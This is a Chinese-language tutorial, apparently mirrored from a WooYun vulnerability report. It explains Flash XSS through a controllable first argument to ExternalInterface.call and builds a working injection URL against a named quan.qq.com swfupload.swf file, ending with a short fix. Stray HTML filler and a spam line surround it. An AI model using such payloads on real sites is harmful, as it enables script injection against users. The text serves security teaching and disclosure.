<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ??碼云GVP開源項目 12k star Uniapp+ElementUI 功能強大 支持多語言、二開方便! 廣告
                # 15\. Flash Xss 進階 [ExternalInterface.call 第一個參數] > 來源:[15\. Flash Xss 進階 \[ExternalInterface.call 第一個參數\]](http://www.wooyun.org/bugs/wooyun-2010-016532) ## 簡要描述 除了上一節講到的 `navigateToURL/getURL` 之外呢,另一個經常存在 XSS 缺陷的 as 函數就是 `ExternalInterface.call`,此函數作為 FLASH 與宿主頁面 javascript 通信的接口,一般來說,有“2”個參數,第一個參數為所調用 js 函數名,后續的其他參數則為所調用的 js 函 數的參數。那么在參數可控的情況下,不論是第一個參數或是后續參數可控,我們均能加以利用實現 XSS。本節先說一說第一個參數可 控的情況。 1\. 先從程序員的角度說下基礎知識,有時候,我們需要在 FLASH 里調用當前頁面中的 javascript 函數,例如:一個簡單的需求,我們 要在游戲加載完成后,執行彈出 1 的操作。 javascript 代碼: `alert(1)` as 代碼 `ExternalInterface.call("alert","1");` 2\. 有的程序員就會覺得,直接彈出 1 太丑了吧。于是他自己寫個 js 的函數 ``` function myalert(str){ //顯示一個漂亮的浮動層,并且把 str 顯示在上面。 } ``` 然后在 as 里 `ExternalInterface.call("myalert","1");` 3\. 又有一天,另外一個程序員覺得上面那個程序員寫的東西不錯,但是他的 JS 函數名不叫 myalert,于是喊那個程序員改下 as 代碼。 于是那個程序員覺得,免得以后老是有人喊我改代碼,他就將代碼寫成了下面這個樣子。 ``` var func:String=root.loaderInfo.parameters.func; //接受 FLASH 所帶的 func 參數 ExternalInterface.call(func,"1"); ``` [這樣一來,其他想用這個 FLASH 的人,不需要修改 FLASH,只需要調用 FLASH 的時候帶上參數即可。 比如我的 JS 函數是 newalert, 我只需要按照下面這么調用: http://some.com/xxx.swf?func=newalert 4\. 上述過程提高了程序的可重用性,為開發人員帶來了極大的便利,但是卻是缺乏安全考慮的。 攻擊者可以采用以下的方式來執行自己的代碼 ``` http://some.com/xxx.swf?func=(function({alert("hi jack")}) ``` 5\. 為了方便理解,我們可以將 ``` ExternalInterface.call("函數名","參數 1"); ``` 看成 JS 里的 ``` 函數名("參數 1"); ``` 而 FLASH 里實際最后執行的 JS 代碼,形式如下(至于下面這句哪里來的,暫時不表): ``` try { flash toXML(函數名("參數 1")) ; } catch (e) { "<undefined/>"; } ``` 因而 函數名 部分也可以寫為 `(function(){alert("hi jack")})` 的形式。 6\. 上面說的是理論基礎,有了這個基礎,我們來看實例,就比較簡單了。 http://quan.qq.com/swf/swfupload.swf 7\. 怎么反編譯,見上一篇。我們來看怎么查找缺陷。 8\. 因為這是一個 AS3.0 的 FLASH 文件,我們首先確定 FLASH 是否有接受參數。 as3.0 接受參數的方法,所有參數存放在 `root.loaderInfo.parameters` 對象里。 例如 `aaa.swf?a=1&b=2&c=3` ,那么 `root.loaderInfo.parameters` 則等于 ``` { "a":1, "b":2, "c":3 } ``` 9\. 我們可以定位到 movieName 變量 ![image](https://box.kancloud.cn/2016-03-23_56f2504398dbd.jpg) 可以看出,FLASH 的 movieName 參數,存放到了 this.movieName 中。 10\. 進一步, `this.movieName` 被帶入了到了 `this.flashReady_Callback` 及其它變量。 ![image](https://box.kancloud.cn/2016-03-23_56f25043a8489.jpg) ``` this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady"); ``` 11\. 我們再進一步看看,`this.flashReady_Callback` 被用到了哪里。 ![image](https://box.kancloud.cn/2016-03-23_56f25043c20aa.jpg) 12\. 再接著看看調用 `this.flashReady_Callback` 的 Simple 函數是啥樣子的。 ![image](https://box.kancloud.cn/2016-03-23_56f25043d5a75.jpg) 可以看到,最終這個參數被放到 `ExternalInterface.call` 的第一個參數中執行了。 13\. 是不是很激動。我們來假設一下,按下面調用 FLASH http://quan.qq.com/swf/swfupload.swf?movieName=aaaaaaaa 那么 `this.flashReady_Callback` 就等于以下內容。 `SWFUpload.instances["aaaaaaaa"].flashReady` 最終調用的是 `ExternalInterface.call('SWFUpload.instances["aaaaaaaa"].flashReady');` 14\. 如果我們要調用自己的 JS 代碼,就需要構造閉合,但是你會發現有一定問題。。 我們最多能夠造成下面的模樣。 ``` ExternalInterface.call('SWFUpload.instances["aaa"]; function SWFUpload(){}; SWFUpload["aaa"].flashReady'); ``` 但是這樣是無法正確執行的,因為 `SWFUpload.instances` 沒有被定義,從而 `SWFUpload.instances["aaa"]`會失敗。 15\. 怎么辦呢?這里就要拿出我們第 5 步里的知識了。我們把“函數名”換成 call 的第一個參數內容。變成下面的形式。 ``` try { flash toXML(SWFUpload.instances["aaaaaaaa"].flashReady("參數 1")) ; } catch (e) { "&lt;undefined/&gt;"; } ``` 我們再基于以上代碼來構造, ``` try { flash toXML(SWFUpload.instances["aaa"])}catch(e){alert(1)};//"].flashReady("參數 1")) ; } catch (e){ "<undefined/>"; } ``` 圖片解析: ![image](https://box.kancloud.cn/2016-03-23_56f2504405a53.jpg) ``` try { flash toXML(SWFUpload.instances["aaa"]) //此行代碼,因為 SWFUpload 未定義,出錯,跳轉到 catch 部分 }catch(e){ alert(1); //這里將會被執行。 }; //"].flashReady("參數 1")) ; } catch (e) { "<undefined/>"; } ``` 16\. 最后,我們把構造的代碼,放進 FLASH 的參數里 ``` http://quan.qq.com/swf/swfupload.swf?movieName=aaa"])}catch(e){alert(1)};// ``` 可以看到成功執行 `alert(1)` ![image](https://box.kancloud.cn/2016-03-23_56f250441a63d.jpg) 修復方案: 對傳入 call 的字符串進行判斷或過濾操作。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看